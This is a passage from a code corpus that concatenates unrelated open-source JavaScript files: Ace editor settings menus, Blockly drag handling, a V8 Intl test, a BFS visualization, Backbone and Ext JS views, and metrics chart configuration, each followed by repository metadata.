value: "unix" }, { textContent: "windows", value: "windows" }, { textContent: "auto", value: "auto" }], setTheme: [], setMode: [], setKeyboardHandler: [{ textContent: "ace", value: "" }, { textContent: "vim", value: "ace/keyboard/vim" }, { textContent: "emacs", value: "ace/keyboard/emacs" }, { textContent: "textarea", value: "ace/keyboard/textarea" }, { textContent: "sublime", value: "ace/keyboard/sublime" }] }; editor.menuOptions.setTheme = themelist.themes.map(function(theme) { return { textContent: theme.caption, value: theme.theme }; }); editor.menuOptions.setMode = modelist.modes.map(function(mode) { return { textContent: mode.name, value: mode.mode }; }); }; }); ace.define("ace/ext/menu_tools/get_set_functions",["require","exports","module"], function(acequire, exports, module) { 'use strict'; module.exports.getSetFunctions = function getSetFunctions (editor) { var out = []; var my = { 'editor' : editor, 'session' : editor.session, 'renderer' : editor.renderer }; var opts = []; var skip = [ 'setOption', 'setUndoManager', 'setDocument', 'setValue', 'setBreakpoints', 'setScrollTop', 'setScrollLeft', 'setSelectionStyle', 'setWrapLimitRange' ]; ['renderer', 'session', 'editor'].forEach(function(esra) { var esr = my[esra]; var clss = esra; for(var fn in esr) { if(skip.indexOf(fn) === -1) { if(/^set/.test(fn) && opts.indexOf(fn) === -1) { opts.push(fn); out.push({ 'functionName' : fn, 'parentObj' : esr, 'parentName' : clss }); } } } }); return out; }; }); ace.define("ace/ext/menu_tools/generate_settings_menu",["require","exports","module","ace/ext/menu_tools/element_generator","ace/ext/menu_tools/add_editor_menu_options","ace/ext/menu_tools/get_set_functions","ace/ace"], function(acequire, exports, module) { 'use strict'; var egen = acequire('./element_generator'); var addEditorMenuOptions = acequire('./add_editor_menu_options').addEditorMenuOptions; var getSetFunctions = acequire('./get_set_functions').getSetFunctions; module.exports.generateSettingsMenu = function generateSettingsMenu (editor) { var elements = []; function cleanupElementsList() { elements.sort(function(a, b) { var x = a.getAttribute('contains'); var y = b.getAttribute('contains'); return x.localeCompare(y); }); } function wrapElements() { var topmenu = document.createElement('div'); topmenu.setAttribute('id', 'ace_settingsmenu'); elements.forEach(function(element) { topmenu.appendChild(element); }); var el = topmenu.appendChild(document.createElement('div')); var version = acequire("../../ace").version; el.style.padding = "1em"; el.textContent = "Ace version " + version; return topmenu; } function createNewEntry(obj, clss, item, val) { var el; var div = document.createElement('div'); div.setAttribute('contains', item); div.setAttribute('class', 'ace_optionsMenuEntry'); div.setAttribute('style', 'clear: both;'); div.appendChild(egen.createLabel( item.replace(/^set/, '').replace(/([A-Z])/g, ' $1').trim(), item )); if (Array.isArray(val)) { el = egen.createSelection(item, val, clss); el.addEventListener('change', function(e) { try{ editor.menuOptions[e.target.id].forEach(function(x) { if(x.textContent !== e.target.textContent) { delete x.selected; } }); obj[e.target.id](e.target.value); } catch (err) { throw new Error(err); } }); } else if(typeof val === 'boolean') { el = egen.createCheckbox(item, val, clss); el.addEventListener('change', function(e) { try{ obj[e.target.id](!!e.target.checked); } catch (err) { throw new Error(err); } }); } else { el = egen.createInput(item, val, clss); el.addEventListener('change', function(e) { try{ if(e.target.value === 'true') { obj[e.target.id](true); } else if(e.target.value === 'false') { obj[e.target.id](false); } else { obj[e.target.id](e.target.value); } } catch (err) { throw new Error(err); } }); } el.style.cssText = 'float:right;'; div.appendChild(el); return div; } function makeDropdown(item, esr, clss, fn) { var val = editor.menuOptions[item]; var currentVal = esr[fn](); if (typeof currentVal == 'object') currentVal = currentVal.$id; val.forEach(function(valuex) { if (valuex.value === currentVal) valuex.selected = 'selected'; }); return createNewEntry(esr, clss, item, val); } function handleSet(setObj) { var item = setObj.functionName; var esr = setObj.parentObj; var clss = setObj.parentName; var val; var fn = item.replace(/^set/, 'get'); if(editor.menuOptions[item] !== undefined) { elements.push(makeDropdown(item, esr, clss, fn)); } else if(typeof esr[fn] === 'function') { try { val = esr[fn](); if(typeof val === 'object') { val = val.$id; } elements.push( createNewEntry(esr, clss, item, val) ); } catch (e) { } } } addEditorMenuOptions(editor); getSetFunctions(editor).forEach(function(setObj) { handleSet(setObj); }); cleanupElementsList(); return wrapElements(); }; }); ace.define("ace/ext/menu_tools/overlay_page",["require","exports","module","ace/lib/dom"], function(acequire, exports, module) { 'use strict'; var dom = acequire("../../lib/dom"); var cssText = "#ace_settingsmenu, #kbshortcutmenu {\ background-color: #F7F7F7;\ color: black;\ box-shadow: -5px 4px 5px rgba(126, 126, 126, 0.55);\ padding: 1em 0.5em 2em 1em;\ overflow: auto;\ position: absolute;\ margin: 0;\ bottom: 0;\ right: 0;\ top: 0;\ z-index: 9991;\ cursor: default;\ }\ .ace_dark #ace_settingsmenu, .ace_dark #kbshortcutmenu {\ box-shadow: -20px 10px 25px rgba(126, 126, 126, 0.25);\ background-color: rgba(255, 255, 255, 0.6);\ color: black;\ }\ .ace_optionsMenuEntry:hover {\ background-color: rgba(100, 100, 100, 0.1);\ -webkit-transition: all 0.5s;\ transition: all 0.3s\ }\ .ace_closeButton {\ background: rgba(245, 146, 146, 0.5);\ border: 1px solid #F48A8A;\ border-radius: 50%;\ padding: 7px;\ position: absolute;\ right: -8px;\ top: -8px;\ z-index: 1000;\ }\ .ace_closeButton{\ background: rgba(245, 146, 146, 0.9);\ }\ .ace_optionsMenuKey {\ color: darkslateblue;\ font-weight: bold;\ }\ .ace_optionsMenuCommand {\ color: darkcyan;\ font-weight: normal;\ }"; dom.importCssString(cssText); module.exports.overlayPage = function overlayPage(editor, contentElement, top, right, bottom, left) { top = top ? 'top: ' + top + ';' : ''; bottom = bottom ? 'bottom: ' + bottom + ';' : ''; right = right ? 'right: ' + right + ';' : ''; left = left ? 'left: ' + left + ';' : ''; var closer = document.createElement('div'); var contentContainer = document.createElement('div'); function documentEscListener(e) { if (e.keyCode === 27) { closer.click(); } } closer.style.cssText = 'margin: 0; padding: 0; ' + 'position: fixed; top:0; bottom:0; left:0; right:0;' + 'z-index: 9990; ' + 'background-color: rgba(0, 0, 0, 0.3);'; closer.addEventListener('click', function() { document.removeEventListener('keydown', documentEscListener); closer.parentNode.removeChild(closer); editor.focus(); closer = null; }); document.addEventListener('keydown', documentEscListener); contentContainer.style.cssText = top + right + bottom + left; contentContainer.addEventListener('click', function(e) { e.stopPropagation(); }); var wrapper = dom.createElement("div"); wrapper.style.position = "relative"; var closeButton = dom.createElement("div"); closeButton.className = "ace_closeButton"; closeButton.addEventListener('click', function() { closer.click(); }); wrapper.appendChild(closeButton); contentContainer.appendChild(wrapper); contentContainer.appendChild(contentElement); closer.appendChild(contentContainer); document.body.appendChild(closer); editor.blur(); }; }); ace.define("ace/ext/settings_menu",["require","exports","module","ace/ext/menu_tools/generate_settings_menu","ace/ext/menu_tools/overlay_page","ace/editor"], function(acequire, exports, module) { "use strict"; var generateSettingsMenu = acequire('./menu_tools/generate_settings_menu').generateSettingsMenu; var overlayPage = acequire('./menu_tools/overlay_page').overlayPage; function showSettingsMenu(editor) { var sm = document.getElementById('ace_settingsmenu'); if (!sm) overlayPage(editor, generateSettingsMenu(editor), '0', '0', '0'); } module.exports.init = function(editor) { var Editor = acequire("ace/editor").Editor; Editor.prototype.showSettingsMenu = function() { showSettingsMenu(this); }; }; }); (function() { ace.acequire(["ace/ext/settings_menu"], function() {}); })();
feedhenry-templates/fh-api-mapper
public/lib/brace/ext/settings_menu.js
JavaScript
apache-2.0
20,659
/** * @license * Visual Blocks Editor * * Copyright 2017 Google Inc. * https://developers.google.com/blockly/ * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @fileoverview Class that controls updates to connections during drags. * @author fenichel@google.com (Rachel Fenichel) */ 'use strict'; goog.provide('Blockly.DraggedConnectionManager'); goog.require('Blockly.RenderedConnection'); goog.require('goog.math.Coordinate'); /** * Class that controls updates to connections during drags. It is primarily * responsible for finding the closest eligible connection and highlighting or * unhiglighting it as needed during a drag. * @param {!Blockly.BlockSvg} block The top block in the stack being dragged. * @constructor */ Blockly.DraggedConnectionManager = function(block) { Blockly.selected = block; /** * The top block in the stack being dragged. * Does not change during a drag. * @type {!Blockly.Block} * @private */ this.topBlock_ = block; /** * The workspace on which these connections are being dragged. * Does not change during a drag. * @type {!Blockly.WorkspaceSvg} * @private */ this.workspace_ = block.workspace; /** * The connections on the dragging blocks that are available to connect to * other blocks. This includes all open connections on the top block, as well * as the last connection on the block stack. * Does not change during a drag. * @type {!Array.<!Blockly.RenderedConnection>} * @private */ this.availableConnections_ = this.initAvailableConnections_(); /** * The connection that this block would connect to if released immediately. * Updated on every mouse move. * @type {Blockly.RenderedConnection} * @private */ this.closestConnection_ = null; /** * The connection that would connect to this.closestConnection_ if this block * were released immediately. * Updated on every mouse move. * @type {Blockly.RenderedConnection} * @private */ this.localConnection_ = null; /** * The distance between this.closestConnection_ and this.localConnection_, * in workspace units. * Updated on every mouse move. * @type {number} * @private */ this.radiusConnection_ = 0; /** * Whether the block would be deleted if it were dropped immediately. * Updated on every mouse move. * @type {boolean} * @private */ this.wouldDeleteBlock_ = false; }; /** * Sever all links from this object. * @package */ Blockly.DraggedConnectionManager.prototype.dispose = function() { this.topBlock_ = null; this.workspace_ = null; this.availableConnections_.length = 0; this.closestConnection_ = null; this.localConnection_ = null; }; /** * Return whether the block would be deleted if dropped immediately, based on * information from the most recent move event. * @return {boolean} true if the block would be deleted if dropped immediately. * @package */ Blockly.DraggedConnectionManager.prototype.wouldDeleteBlock = function() { return this.wouldDeleteBlock_; }; /** * Connect to the closest connection and render the results. * This should be called at the end of a drag. * @package */ Blockly.DraggedConnectionManager.prototype.applyConnections = function() { if (this.closestConnection_) { // Connect two blocks together. this.localConnection_.connect(this.closestConnection_); if (this.topBlock_.rendered) { // Trigger a connection animation. // Determine which connection is inferior (lower in the source stack). var inferiorConnection = this.localConnection_.isSuperior() ? this.closestConnection_ : this.localConnection_; inferiorConnection.getSourceBlock().connectionUiEffect(); // Bring the just-edited stack to the front. var rootBlock = this.topBlock_.getRootBlock(); rootBlock.bringToFront(); } this.removeHighlighting_(); } }; /** * Update highlighted connections based on the most recent move location. * @param {!goog.math.Coordinate} dxy Position relative to drag start, * in workspace units. * @param {?number} deleteArea One of {@link Blockly.DELETE_AREA_TRASH}, * {@link Blockly.DELETE_AREA_TOOLBOX}, or {@link Blockly.DELETE_AREA_NONE}. * @package */ Blockly.DraggedConnectionManager.prototype.update = function(dxy, deleteArea) { var oldClosestConnection = this.closestConnection_; var closestConnectionChanged = this.updateClosest_(dxy); if (closestConnectionChanged && oldClosestConnection) { oldClosestConnection.unhighlight(); } // Prefer connecting over dropping into the trash can, but prefer dragging to // the toolbox over connecting to other blocks. var wouldConnect = !!this.closestConnection_ && deleteArea != Blockly.DELETE_AREA_TOOLBOX; var wouldDelete = !!deleteArea && !this.topBlock_.getParent() && this.topBlock_.isDeletable(); this.wouldDeleteBlock_ = wouldDelete && !wouldConnect; // Get rid of highlighting so we don't sent mixed messages. if (wouldDelete && this.closestConnection_) { this.closestConnection_.unhighlight(); this.closestConnection_ = null; } if (!this.wouldDeleteBlock_ && closestConnectionChanged && this.closestConnection_) { this.addHighlighting_(); } }; /** * Remove highlighting from the currently highlighted connection, if it exists. * @private */ Blockly.DraggedConnectionManager.prototype.removeHighlighting_ = function() { if (this.closestConnection_) { this.closestConnection_.unhighlight(); } }; /** * Add highlighting to the closest connection, if it exists. * @private */ Blockly.DraggedConnectionManager.prototype.addHighlighting_ = function() { if (this.closestConnection_) { this.closestConnection_.highlight(); } }; /** * Populate the list of available connections on this block stack. This should * only be called once, at the beginning of a drag. * @return {!Array.<!Blockly.RenderedConnection>} a list of available * connections. * @private */ Blockly.DraggedConnectionManager.prototype.initAvailableConnections_ = function() { var available = this.topBlock_.getConnections_(false); // Also check the last connection on this stack var lastOnStack = this.topBlock_.lastConnectionInStack_(); if (lastOnStack && lastOnStack != this.topBlock_.nextConnection) { available.push(lastOnStack); } return available; }; /** * Find the new closest connection, and update internal state in response. * @param {!goog.math.Coordinate} dxy Position relative to the drag start, * in workspace units. * @return {boolean} Whether the closest connection has changed. * @private */ Blockly.DraggedConnectionManager.prototype.updateClosest_ = function(dxy) { var oldClosestConnection = this.closestConnection_; this.closestConnection_ = null; this.localConnection_ = null; this.radiusConnection_ = Blockly.SNAP_RADIUS; for (var i = 0; i < this.availableConnections_.length; i++) { var myConnection = this.availableConnections_[i]; var neighbour = myConnection.closest(this.radiusConnection_, dxy); if (neighbour.connection) { this.closestConnection_ = neighbour.connection; this.localConnection_ = myConnection; this.radiusConnection_ = neighbour.radius; } } return oldClosestConnection != this.closestConnection_; };
jstnhuang/blockly
core/dragged_connection_manager.js
JavaScript
apache-2.0
7,862
/* * Copyright (c) 2005-2014, WSO2 Inc. (http://www.wso2.org) All Rights Reserved. * * WSO2 Inc. licenses this file to you under the Apache License, * Version 2.0 (the "License"); you may not use this file except * in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. * */ var resources = function (page, meta) { return { js:['common/datepick/jquery.datepick.js','common/form-manager.js','common/form-plugins/common-plugins.js','common/form-plugins/tag-plugin.js','common/form-plugins/options-text-plugin.js','common/form-plugins/unbound-table-plugin.js','logic/asset/add-asset.js'], //['logic/create.asset.js', 'bootstrap-select.min.js','options.text.js'], css:['bootstrap-select.min.css','datepick/smoothness.datepick.css'] }; };
pulasthi7/product-es
modules/apps/publisher/themes/default/helpers/add-asset.js
JavaScript
apache-2.0
1,174
// Copyright 2019 the V8 project authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // Throws only once during construction. // Check for all getters to prevent regression. // Preserve the order of getter initialization. let getCount = 0; let weekday = new Array(); let year = new Array(); let month = new Array(); let day = new Array(); let hour = new Array(); let minute = new Array(); let second = new Array(); let localeMatcher = new Array(); let hour12 = new Array(); let hourCycle = new Array(); let dateStyle = new Array(); let timeStyle = new Array(); let timeZone = new Array(); let era = new Array(); let timeZoneName = new Array(); let formatMatcher = new Array(); new Intl.DateTimeFormat(['en-US'], { get weekday() { weekday.push(++getCount); }, get year() { year.push(++getCount); }, get month() { month.push(++getCount); }, get day() { day.push(++getCount); }, get hour() { hour.push(++getCount); }, get minute() { minute.push(++getCount); }, get second() { second.push(++getCount); }, get localeMatcher() { localeMatcher.push(++getCount); }, get hour12() { hour12.push(++getCount); }, get hourCycle() { hourCycle.push(++getCount); }, get timeZone() { timeZone.push(++getCount); }, get dateStyle() { dateStyle.push(++getCount); return "full"; }, get timeStyle() { timeStyle.push(++getCount); return "full"; }, get era() { era.push(++getCount); }, get timeZoneName() { timeZoneName.push(++getCount); }, get formatMatcher() { formatMatcher.push(++getCount); } }); assertEquals(1, weekday.length); assertEquals(1, weekday[0]); assertEquals(1, year.length); assertEquals(2, year[0]); assertEquals(1, month.length); assertEquals(3, month[0]); assertEquals(1, day.length); assertEquals(4, day[0]); assertEquals(1, hour.length); assertEquals(5, hour[0]); assertEquals(1, minute.length); assertEquals(6, minute[0]); assertEquals(1, second.length); assertEquals(7, second[0]); assertEquals(1, localeMatcher.length); assertEquals(8, localeMatcher[0]); assertEquals(1, hour12.length); assertEquals(9, hour12[0]); assertEquals(1, hourCycle.length); assertEquals(10, hourCycle[0]); assertEquals(1, timeZone.length); assertEquals(11, timeZone[0]); assertEquals(1, dateStyle.length); assertEquals(12, dateStyle[0]); assertEquals(1, timeStyle.length); assertEquals(13, timeStyle[0]); assertEquals(0, era.length); assertEquals(0, timeZoneName.length); assertEquals(0, formatMatcher.length);
wiltonlazary/arangodb
3rdParty/V8/v7.9.317/test/intl/date-format/constructor-date-time-style-order.js
JavaScript
apache-2.0
2,610
// Copyright 2011 David Galles, University of San Francisco. All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are // permitted provided that the following conditions are met: // // 1. Redistributions of source code must retain the above copyright notice, this list of // conditions and the following disclaimer. // // 2. Redistributions in binary form must reproduce the above copyright notice, this list // of conditions and the following disclaimer in the documentation and/or other materials // provided with the distribution. // // THIS SOFTWARE IS PROVIDED BY <COPYRIGHT HOLDER> ``AS IS'' AND ANY EXPRESS OR IMPLIED // WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING // NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF // ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // The views and conclusions contained in the software and documentation are those of the // authors and should not be interpreted as representing official policies, either expressed // or implied, of the University of San Francisco var AUX_ARRAY_WIDTH = 25; var AUX_ARRAY_HEIGHT = 25; var AUX_ARRAY_START_Y = 50; var VISITED_START_X = 475; var PARENT_START_X = 400; var HIGHLIGHT_CIRCLE_COLOR = "#000000"; var BFS_TREE_COLOR = "#0000FF"; var BFS_QUEUE_HEAD_COLOR = "#0000FF"; var QUEUE_START_X = 30; var QUEUE_START_Y = 50; var QUEUE_SPACING = 30; function BFS(am) { this.init(am); } BFS.prototype = new Graph(); BFS.prototype.constructor = BFS; BFS.superclass = Graph.prototype; BFS.prototype.addControls = function() { addLabelToAlgorithmBar("Start Vertex: "); this.startField = addControlToAlgorithmBar("Text", ""); this.startField.onkeydown = this.returnSubmit(this.startField, this.startCallback.bind(this), 2, true); this.startField.size = 2; this.startButton = addControlToAlgorithmBar("Button", "Run BFS"); this.startButton.onclick = this.startCallback.bind(this); BFS.superclass.addControls.call(this); } BFS.prototype.init = function(am, w, h) { showEdgeCosts = false; BFS.superclass.init.call(this, am, w, h); // TODO: add no edge label flag to this? // Setup called in base class constructor } BFS.prototype.setup = function() { BFS.superclass.setup.call(this); this.messageID = new Array(); this.commands = new Array(); this.visitedID = new Array(this.size); this.visitedIndexID = new Array(this.size); this.parentID = new Array(this.size); this.parentIndexID = new Array(this.size); for (var i = 0; i < this.size; i++) { this.visitedID[i] = this.nextIndex++; this.visitedIndexID[i] = this.nextIndex++; this.parentID[i] = this.nextIndex++; this.parentIndexID[i] = this.nextIndex++; this.cmd("CreateRectangle", this.visitedID[i], "f", AUX_ARRAY_WIDTH, AUX_ARRAY_HEIGHT, VISITED_START_X, AUX_ARRAY_START_Y + i*AUX_ARRAY_HEIGHT); this.cmd("CreateLabel", this.visitedIndexID[i], i, VISITED_START_X - AUX_ARRAY_WIDTH , AUX_ARRAY_START_Y + i*AUX_ARRAY_HEIGHT); this.cmd("SetForegroundColor", this.visitedIndexID[i], VERTEX_INDEX_COLOR); this.cmd("CreateRectangle", this.parentID[i], "", AUX_ARRAY_WIDTH, AUX_ARRAY_HEIGHT, PARENT_START_X, AUX_ARRAY_START_Y + i*AUX_ARRAY_HEIGHT); this.cmd("CreateLabel", this.parentIndexID[i], i, PARENT_START_X - AUX_ARRAY_WIDTH , AUX_ARRAY_START_Y + i*AUX_ARRAY_HEIGHT); this.cmd("SetForegroundColor", this.parentIndexID[i], VERTEX_INDEX_COLOR); } this.cmd("CreateLabel", this.nextIndex++, "Parent", PARENT_START_X - AUX_ARRAY_WIDTH, AUX_ARRAY_START_Y - AUX_ARRAY_HEIGHT * 1.5, 0); this.cmd("CreateLabel", this.nextIndex++, "Visited", VISITED_START_X - AUX_ARRAY_WIDTH, AUX_ARRAY_START_Y - AUX_ARRAY_HEIGHT * 1.5, 0); this.cmd("CreateLabel", this.nextIndex++, "BFS Queue", QUEUE_START_X, QUEUE_START_Y - 30, 0); animationManager.setAllLayers([0, this.currentLayer]); animationManager.StartNewAnimation(this.commands); animationManager.skipForward(); animationManager.clearHistory(); this.highlightCircleL = this.nextIndex++; this.highlightCircleAL = this.nextIndex++; this.highlightCircleAM= this.nextIndex++ } BFS.prototype.startCallback = function(event) { var startValue; if (this.startField.value != "") { startvalue = this.startField.value; this.startField.value = ""; if (parseInt(startvalue) < this.size) this.implementAction(this.doBFS.bind(this),startvalue); } } BFS.prototype.doBFS = function(startVetex) { this.visited = new Array(this.size); this.commands = new Array(); this.queue = new Array(this.size); var head = 0; var tail = 0; var queueID = new Array(this.size); var queueSize = 0; if (this.messageID != null) { for (var i = 0; i < this.messageID.length; i++) { this.cmd("Delete", this.messageID[i]); } } this.rebuildEdges(); this.messageID = new Array(); for (i = 0; i < this.size; i++) { this.cmd("SetText", this.visitedID[i], "f"); this.cmd("SetText", this.parentID[i], ""); this.visited[i] = false; queueID[i] = this.nextIndex++; } var vertex = parseInt(startVetex); this.visited[vertex] = true; this.queue[tail] = vertex; this.cmd("CreateLabel", queueID[tail], vertex, QUEUE_START_X + queueSize * QUEUE_SPACING, QUEUE_START_Y); queueSize = queueSize + 1; tail = (tail + 1) % (this.size); while (queueSize > 0) { vertex = this.queue[head]; this.cmd("CreateHighlightCircle", this.highlightCircleL, HIGHLIGHT_CIRCLE_COLOR, this.x_pos_logical[vertex], this.y_pos_logical[vertex]); this.cmd("SetLayer", this.highlightCircleL, 1); this.cmd("CreateHighlightCircle", this.highlightCircleAL, HIGHLIGHT_CIRCLE_COLOR,this.adj_list_x_start - this.adj_list_width, this.adj_list_y_start + vertex*this.adj_list_height); this.cmd("SetLayer", this.highlightCircleAL, 2); this.cmd("CreateHighlightCircle", this.highlightCircleAM, HIGHLIGHT_CIRCLE_COLOR,this.adj_matrix_x_start - this.adj_matrix_width, this.adj_matrix_y_start + vertex*this.adj_matrix_height); this.cmd("SetLayer", this.highlightCircleAM, 3); this.cmd("SetTextColor", queueID[head], BFS_QUEUE_HEAD_COLOR); for (var neighbor = 0; neighbor < this.size; neighbor++) { if (this.adj_matrix[vertex][neighbor] > 0) { this.highlightEdge(vertex, neighbor, 1); this.cmd("SetHighlight", this.visitedID[neighbor], 1); this.cmd("Step"); if (!this.visited[neighbor]) { this.visited[neighbor] = true; this.cmd("SetText", this.visitedID[neighbor], "T"); this.cmd("SetText", this.parentID[neighbor], vertex); this.highlightEdge(vertex, neighbor, 0); this.cmd("Disconnect", this.circleID[vertex], this.circleID[neighbor]); this.cmd("Connect", this.circleID[vertex], this.circleID[neighbor], BFS_TREE_COLOR, this.curve[vertex][neighbor], 1, ""); this.queue[tail] = neighbor; this.cmd("CreateLabel", queueID[tail], neighbor, QUEUE_START_X + queueSize * QUEUE_SPACING, QUEUE_START_Y); tail = (tail + 1) % (this.size); queueSize = queueSize + 1; } else { this.highlightEdge(vertex, neighbor, 0); } this.cmd("SetHighlight", this.visitedID[neighbor], 0); this.cmd("Step"); } } this.cmd("Delete", queueID[head]); head = (head + 1) % (this.size); queueSize = queueSize - 1; for (i = 0; i < queueSize; i++) { var nextQueueIndex = (i + head) % this.size; this.cmd("Move", queueID[nextQueueIndex], QUEUE_START_X + i * QUEUE_SPACING, QUEUE_START_Y); } this.cmd("Delete", this.highlightCircleL); this.cmd("Delete", this.highlightCircleAM); this.cmd("Delete", this.highlightCircleAL); } return this.commands } // NEED TO OVERRIDE IN PARENT BFS.prototype.reset = function() { // Throw an error? } BFS.prototype.enableUI = function(event) { this.startField.disabled = false; this.startButton.disabled = false; this.startButton BFS.superclass.enableUI.call(this,event); } BFS.prototype.disableUI = function(event) { this.startField.disabled = true; this.startButton.disabled = true; BFS.superclass.disableUI.call(this, event); } var currentAlg; function init() { var animManag = initCanvas(); currentAlg = new BFS(animManag, canvas.width, canvas.height); }
ag-ifpb/ag-ifpb.github.io
fila-circular/AlgorithmLibrary/BFS.js
JavaScript
apache-2.0
8,666
$( document ).ready(function() { $("form").submit(function(e) { e.preventDefault(); $("#compose-modal-actualizar").modal('hide'); data={ NombreCategoria:$("#Insertar_NombreCategoria").val(), DescripcionCategoria:$("#Insertar_DescripcionCategoria").val(), tipoProcedimiento:"insertar" }; $.ajax({ async:true, type: "POST", dataType: "html", contentType: "application/x-www-form-urlencoded", url:"pages/mantenimientos_gestion_folios/mantenimiento_categorias_folios.php", success:NuevaCategoriasFolios, timeout:4000, error:problemas }); return false; }); }); function NuevaCategoriasFolios(){ $('body').removeClass('modal-open'); $("#div_contenido").load('pages/mantenimientos_gestion_folios/mantenimiento_categorias_folios.php',data); } function problemas(){ $("#div_contenido").text('Problemas en el servidor.'); }
ggderas/SCJ
js/gestion_folios/mantenimiento_categorias_folios.js
JavaScript
apache-2.0
1,132
(function (flow, $, d3, Backbone) { "use strict"; // View for displaying a collection that enables // setting it as active and/or the save location // for analyses and datasets flow.VariableView = Backbone.View.extend({ tagName: 'li', className: 'list-group-item', events: { 'click .edit': function () { this.editView.model = this.model; this.editView.render(); }, 'click .delete': function () { this.collection.remove(this.model); } }, initialize: function (settings) { this.editView = settings.editView; this.collection = settings.collection; this.model.on('change', this.render, this); }, render: function () { this.$el.html($('#variable-template').html()); this.$('.name').text(this.model.get('name') + ' [' + this.model.get('type') + ':' + this.model.get('format') + ']'); return this; } }); }(window.flow, window.$, window.d3, window.Backbone));
Kitware/tangelohub
web_external/js/views/VariableView.js
JavaScript
apache-2.0
1,114
(function () { plugins.push( { id: "os-metrics", label: "OS", graphs: [ { bindto: '#os-cpu', min: 0, max: 101, format: 'percent', stack: true, fill: 0.1, columns: [ { metricMatcher: { name: "cpu_usage", tags: { type: "soft-interrupt" } }, groupBy: "type", metric: "value" }, { metricMatcher: { name: "cpu_usage", tags: { type: "interrupt" } }, groupBy: "type", metric: "value" }, { metricMatcher: { name: "cpu_usage", tags: { type: "stolen" } }, groupBy: "type", metric: "value" }, { metricMatcher: { name: "cpu_usage", tags: { type: "nice" } }, groupBy: "type", metric: "value" }, { metricMatcher: { name: "cpu_usage", tags: { type: "wait" } }, groupBy: "type", metric: "value" }, { metricMatcher: { name: "cpu_usage", tags: { type: "sys" } }, groupBy: "type", metric: "value" }, { metricMatcher: { name: "cpu_usage", tags: { type: "user" } }, groupBy: "type", metric: "value" }, { metricMatcher: { name: "cpu_usage", tags: { type: "idle" } }, groupBy: "type", metric: "value" } ] }, { bindto: '#network-io', min: 0, format: 'bytes', derivative: true, columns: [ { metricMatcher: { name: "network_io", tags: { type: "write", unit: "bytes" } }, groupBy: "ifname", metric: "value", title: "send" }, { metricMatcher: { name: "network_io", tags: { type: "read", unit: "bytes" } }, groupBy: "ifname", metric: "value", title: "receive" } ] }, { bindto: '#io', min: 0, fill: 0.1, format: 'bytes', derivative: true, columns: [ { metricMatcher: { name: "disk_io" }, groupBy: "type", metric: "value" } ] }, { bindto: '#fs-usage', min: 0, max: 100, format: 'percent', columns: [ { metricMatcher: { name: "disk_usage_percent" }, groupBy: "mountpoint", metric: "value" } ] }, { bindto: '#ram', min: 0, format: 'bytes', fill: 0.1, columns: [ { metricMatcher: { name: "mem_usage" }, groupBy: "type", metric: "value" } ] }, { bindto: '#swap', min: 0, format: 'bytes', fill: 0.1, columns: [ { metricMatcher: { name: "swap_usage", tags: { type: "total" } }, groupBy: "type", metric: "value" }, { metricMatcher: { name: "swap_usage", tags: { type: "used" } }, groupBy: "type", metric: "value" } ] } ] } ) }());
hexdecteam/stagemonitor
stagemonitor-os/src/main/resources/stagemonitor/static/tabs/metrics/os-metrics.js
JavaScript
apache-2.0
3,407
Ext2.namespace('Kwf.Tree'); Kwf.Tree.Node = Ext2.extend(Ext2.tree.TreeNodeUI, { initEvents : function(){ Kwf.Tree.Node.superclass.initEvents.call(this); this.node.ui.iconNode.style.backgroundImage = 'url(' + this.node.attributes.bIcon + ')'; }, onDblClick : function(e){ e.preventDefault(); this.fireEvent("dblclick", this.node, e); } });
yacon/koala-framework
Kwf_js/Tree/Node.js
JavaScript
bsd-2-clause
387
/** * This example shows how to use custom sprites to create a 3D Column Chart. Click and * drag to zoom the chart. */ Ext.define('KitchenSink.view.charts.column.Column3D', { extend: 'Ext.panel.Panel', xtype: 'column-3d', requires: [ 'Ext.chart.CartesianChart', 'Ext.chart.series.Line', 'Ext.chart.axis.Numeric', 'Ext.draw.modifier.Highlight', 'Ext.chart.axis.Time', 'Ext.chart.interactions.ItemHighlight', 'Ext.chart.theme.*' ], layout: 'fit', width: 650, height: 500, tbar: [ '->', { text: 'Refresh', handler: function () { var chart = this.up('panel').down('cartesian'); chart.getStore().refreshData(); } }, { text: 'Switch Theme', handler: function () { var panel = this.up().up(), chart = panel.down('cartesian'), currentThemeClass = Ext.getClassName(chart.getTheme()), themes = Ext.chart.theme, themeNames = [], currentIndex = 0, name; for (name in themes) { if (Ext.getClassName(themes[name]) === currentThemeClass) { currentIndex = themeNames.length; } if (name !== 'Base' && name.indexOf('Gradients') < 0) { themeNames.push(name); } } chart.setTheme(themes[themeNames[++currentIndex % themeNames.length]]); chart.redraw(); } } ], items: [{ xtype: 'cartesian', store: {type: 'climate'}, theme: 'Category5', id: 'column-chart-3d', background: 'white', insetPadding: 20, interactions: [ { type: 'panzoom', zoomOnPanGesture: true } ], series: { type: 'column3d', xField: 'month', yField: 'high', style: { maxBarWidth: 50 } }, axes: [ 